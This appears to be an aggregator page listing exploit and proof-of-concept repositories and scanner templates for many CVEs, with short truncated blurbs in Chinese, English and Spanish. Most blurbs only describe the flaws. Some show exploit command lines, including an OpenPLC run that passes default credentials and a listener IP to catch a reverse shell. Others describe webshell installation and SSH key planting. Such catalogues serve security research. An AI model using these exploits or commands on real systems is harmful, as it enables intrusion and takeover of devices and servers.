CVE-2026-12485

🚨 CVE-2026-12485 - 严重未授权远程代码执行 RCE GeoVision GV-I/O Box 4E – 固件 v2.09 披露日期： 2026年6月23日 CWE： CWE-121 – 基于栈的缓冲区溢出 攻击向量： 网络（未授权） GeoVision GV-I/O Box 4E 的 DVRSearch 服务中存在一个未授权的基于栈的缓冲区溢出漏洞，允许远程攻击者实现任意代码执行并完全控制受影响的设备。 📋 概述 字段| 值 ---|--- CVE ID| CVE-2026-12485 CVSS v3.1| 10.0（严重） CWE| CWE-121 受影响产品|...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 详情 此概念验证漏洞利用程序仅针对 macOS 10.13.3 17D47 上的 Safari 11.0.3 13604.5.6 版本。 将你选择的有效载荷编译为带有构造函数的动态库 dylib 运行 python filetojsarray.py your.dylib payload.js 提供此目录服务，并将 Safari 指向 /exploit.html 该漏洞利用并非完全可靠，并且为此 macOS/Safari 版本使用了硬编码偏移量。...

CVE-2026-75983 Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce <= 4.1.23 - Authenticated (Subscriber+) Privilege Escalation via map_meta_cap Filter

The Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.1.23. This is due to the PermissionManager::managepermissions function being registered as a callback on WordPress core's...

CVE-2020-11108-PoC

CVE-2020-11108-PoC 本仓库包含两个PoC。cve-2020-11108-rce.py 会以www-data用户身份为你提供一个shell。root-cve-2020-11108-rce.py 会为你提供一个shell并提升权限至root。注意：此操作具有破坏性，因为我们必须覆盖teleporter.php。 如需完整的解释/分析，请参阅此篇博客文章。...

CVE-2021-31630

OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） root@kitploit: └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4...

CVE-2026-63030

🚨 CVE-2026-63030 — WP2Shell WordPress REST API 路由混乱 → 远程代码执行 一个关键的 WordPress 核心漏洞，利用 REST API 路由混乱，可与 SQL 注入链结合，实现未经身份验证的远程代码执行。 📖 概述 CVE-2026-63030 是一个影响 WordPress 核心 的 严重 漏洞。 该问题存在于 REST API 批量端点 中，不当的路由处理可能导致 路由混乱 。尽管该漏洞本身不足以完全攻陷系统，但它可以与 CVE-2026-60137（WPQuery SQL 注入） 链结合，实现 未经身份验证的远程代码执行（RCE）...

venom-rs

使用 Rust 实现的 Shellcode 反射式 DLL 注入 sRDI（代号：Venom） Shellcode 反射式 DLL 注入（sRDI）是一种进程注入技术，它允许我们将给定的 DLL 转换为位置无关代码，然后可以使用我们最喜欢的 Shellcode 注入与执行技术来注入该代码。 特性 反射式加载器的大小约为 4KB。 不会释放注入器分配的内存，也不会移除用户注入器设置的任何现有 RWX 权限（如果适用）。 不会在解析导入或重定位映像之后/之前覆盖或擦除新分配内存的 DOS 或 NT 头。 对由 VirtualAlloc 函数分配的每个节应用保护设置，并随后执行 DllMain...

cve-2025-9951-ffmpeg-jp2-poc

CVE-2025-9951 FFmpeg JPEG 2000 Exploitation Research This repository contains two deliberately separated exploitation milestones for the FFmpeg JPEG 2000 component-mapping vulnerability: 1. 01-gdb-assisted/ — the original deterministic GDB-launched PoC and its full research-journey writeup,...

CVE-2025-32583

🚨 CVE-2025-32583 — WordPress PDF 2 Post RCE 漏洞利用 严重漏洞 CVE 编号： CVE-2025-32583 严重性： 9.9（严重） CVSS 向量： CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 📖 描述 PDF 2 Post WordPress 插件（由 termel 开发）中存在一个漏洞，由于对代码生成的掌控不当 ，导致远程代码包含（RCE） 。 受影响版本：= 2.4.0 该漏洞允许已认证用户 （即使是低权限用户）上传包含 PHP 代码的 .zip 文件。插件解压后，恶意 PHP...

CVE-2026-35029-PoC

CVE-2026-35029 — LiteLLM /config/update 越权访问漏洞 Broken Access Control LiteLLM 的 /config/update 端点未检查调用者的角色权限 。任何持有有效 API Key 的已认证用户（无需管理员权限）均可修改代理配置，注册恶意 Pass-Through 端点以实现 环境变量窃取、任意文件读取、远程代码执行 等攻击。...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE Mientras analizaba esta vulnerabilidad, descubrí que MCPJam Inspector exponía el endpoint /api/mcp/connect a la red vinculándose a 0.0.0.0. Este endpoint acepta un objeto JSON que contiene serverConfig, incluidos los campos command y args. La aplicación tenía la...

CVE-2026-46817

🚨 CVE-2026-46817 - 关键远程代码执行 Oracle E-Business Suite – Oracle Payments（文件传输） 影响Oracle Payments（文件传输）的关键未认证远程漏洞，可能通过HTTP完全攻破该应用。 📌 概述 CVE-2026-46817 是 Oracle E-Business Suite 中 Oracle Payments 组件的一个 关键 漏洞。该缺陷影响 文件传输 功能，可通过 HTTP 远程利用，无需认证 。 成功利用后，攻击者可完全攻破易受攻击的 Oracle Payments 应用，导致以下全部损失： 🔓 保密性 ✏️ 完整...

CVE-2025-52970

CVE-2025-52970 FortiWeb 认证绕过到远程代码执行漏洞利用程序 功能特性 武器化：添加交互式 Shell 实现远程代码执行 使用方法 root@kitploit: python CVE-2025-52970.py -t target.com 演示 参考来源 https://github.com/Hex00-0x4/FortiWeb-CVE-2025-52970-Authentication-Bypass 免责声明 此概念验证代码仅用于教育目的，本人不对任何恶意使用负责。...

FUXAPWN

CVE-2026-25895 — FUXA ），当 FUXA 以 root 身份运行时（厂商 Docker 镜像中的默认设置），在 60 秒内实现代码执行 在 FUXA Node 进程中安装 HTTP webshell 监听器 将 SSH 公钥投放至 /root/.ssh/authorizedkeys 或任何用户...

IBM Operational Decision Manager - JNDI Injection

IBM Operational Decision Manager 8.10.3, 8.10.4, 8.10.5.1, 8.11, 8.11.0.1, and 8.12.0.1 is susceptible to remote code execution attack via JNDI injection when passing an unchecked argument to a certain API. IBM X-Force ID: 279145. id: CVE-2024-22319 info: name: IBM Operational Decision Manager -...

Ncast busiFacade - Remote Command Execution

The Ncast Yingshi high-definition intelligent recording and playback system is a newly developed audio and video recording and playback system. The system has RCE vulnerabilities in versions 2017 and earlier. id: CVE-2024-0305 info: name: Ncast busiFacade - Remote Command Execution author: BMCel...

Monitorr 1.7.6m - Unauthenticated Remote Code Execution

Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote cod...

WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option

The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file. id: CVE-2018-19207 info: name: WP GDPR Compliance 1.4.3 - Unauthenticated Call Any Action or...

DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization

DNN DotNetNuke versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code...

Likeshop < 2.5.7.20210311 - Arbitrary File Upload

A vulnerability classified as critical was found in Likeshop up to 2.5.7.20210311. This vulnerability affects the function FileServer::userFormImage of the file server/application/api/controller/File.php of the component HTTP POST Request Handler. The manipulation of the argument file with an...